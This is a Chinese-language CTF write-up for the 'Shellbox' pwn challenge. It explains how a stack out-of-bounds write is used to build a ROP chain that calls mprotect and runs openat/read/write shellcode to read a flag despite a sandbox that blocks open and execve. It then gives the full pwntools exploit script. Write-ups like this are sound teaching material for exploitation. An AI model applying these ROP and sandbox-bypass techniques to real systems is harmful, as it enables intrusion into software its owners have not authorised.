Shellbox

有沙箱,看看规则

禁用open和execve
main函数:

题目是静态链接,没有后门函数,那我们先想到的办法就是老老实实用orw(openat)
看代码,首先有一个向buf读入的,但是buf在.bss段,这里不存在栈溢出漏洞,继续看,这里v5等于1和大于9退出循环,之后向v4写入,v4和v5都是局部变量,意味着他们都保存在栈上,这给了我们思路,看它们的位置关系

这里是ida自动命名的,但我们根据rbp的位置可以辨认,此时栈的结构是
也就是说我们可以通过v4越界覆盖,这里也可以看到并没有canary,可以直接覆盖,那我们首先要越过v5等于1的阻挡,从栈上布局我们就可以想到第一次v5=0然后向v4[8 * 0](v5++是先使用0再加1)写入8字节,也就刚好覆盖v5,我们就可以在此时覆盖v5为1(因为先read完再++,我们在read之后v5就变成了1,这时回到检验循环条件时v5等于2,通过检验),那现在我们再来计算一下,从v5=2到v5=9我们可以覆盖rbp+8到rbp+64,也就是8个8字节,这直接构造orw的rop链肯定不够,这里由于是静态链接,又固定地址,我们可以考虑比较简单的方法就是使用mprotect,我们检查一下也发现mprotect存在,mprotect的rop链需要三个参数,目标地址放rdi,长度放rsi,权限放rdx(0x7),我们发现可以找到这些gadget,那我们的shellcode放哪里呢,这里我们前面有一个向buf的读入,那我们就可以直接放buf(gdb检查过了是可读可写不可执行),那我们计算一下发现8个8字节刚好够放这个rop链的(最后一个要放buf的地址,因为这样执行完mprotect后它自带的ret会使cpu跳转到buf执行我们的shellcode),注意这里我们是从v5=2开始覆盖,刚好是rbp+8(返回地址),所以我们不需要覆盖旧的rbp,然后就是直接使用shellcodecraft来直接生成shellcode了,这题就解决了。
EXP:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote('localhost',9000)
p=process('./pwn')
mprotect=0x443520
pop_rdi=0x401a40
pop_rsi=0x401a42
pop_rdx=0x401a44
buf=0x4ceb60
bss=buf+0x200
#-100代表从当前目录打开,如果是open就用
shellcode=shellcraft.openat(-100,'./flag\x00')
#这里的3是文件描述符,一般来说是3
shellcode+=shellcraft.read(3,bss,0x50)
shellcode+=shellcraft.write(1,bss,0x50)
payload=asm(shellcode)
p.sendafter(b'fill it.\n',payload)
payload=b'aaaa'+p32(1)
rop=flat([
pop_rdi,
0x4ce000,
pop_rsi,
0x1000,
pop_rdx,
0x7,
mprotect,
buf
])
p.sendafter(b'>',payload)
for i in range(8):
p.sendafter(b'>',rop[i*8:i*8+8])
p.interactive()
题目链接:
CTF-Writeups/MoeCTF/shellbox at main · ZenDuk17/CTF-Writeups